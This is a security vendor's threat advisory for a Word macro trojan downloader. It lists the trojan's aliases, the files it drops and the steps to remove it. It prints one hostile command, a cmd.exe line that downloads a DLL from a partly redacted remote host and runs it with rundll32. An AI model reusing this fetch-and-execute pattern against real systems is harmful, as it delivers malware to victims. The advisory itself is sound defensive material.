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Trojan.W97M.DLOADR.TIOIBEJX

March 16, 2020
 Modified by: Clive Fuentebella
 ALIASES:

TrojanDownloader:O97M/Powdow.ARJ!MTB (MICROSOFT); New or modified PP97M/Olegtad (FPROT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

13 Mar 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Temp%\curl.com
  • %Temp%\12345.dll

It adds the following processes:

  • "%System%\cmd.exe" /c %Temp%\curl.com /transfer jobname http://{BLOCKED}gidare.com/f64bj/jtrhs.php?l=ghs1.cab %Temp%\12345.dll&& rundll32 %Temp%\12345.dll,DllRegisterServer

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}gidare.com/f64bj/jtrhs.php?l=ghs1.cab

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.740.03

FIRST VSAPI PATTERN DATE:

13 Mar 2020

VSAPI OPR PATTERN File:

15.741.00

VSAPI OPR PATTERN Date:

14 Mar 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Downloader.VBA.TRX.XXVBAF01FF007

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Search and delete this file

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  • %Temp%\curl.com
  • %Temp%\12345.dll

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.DLOADR.TIOIBEJX. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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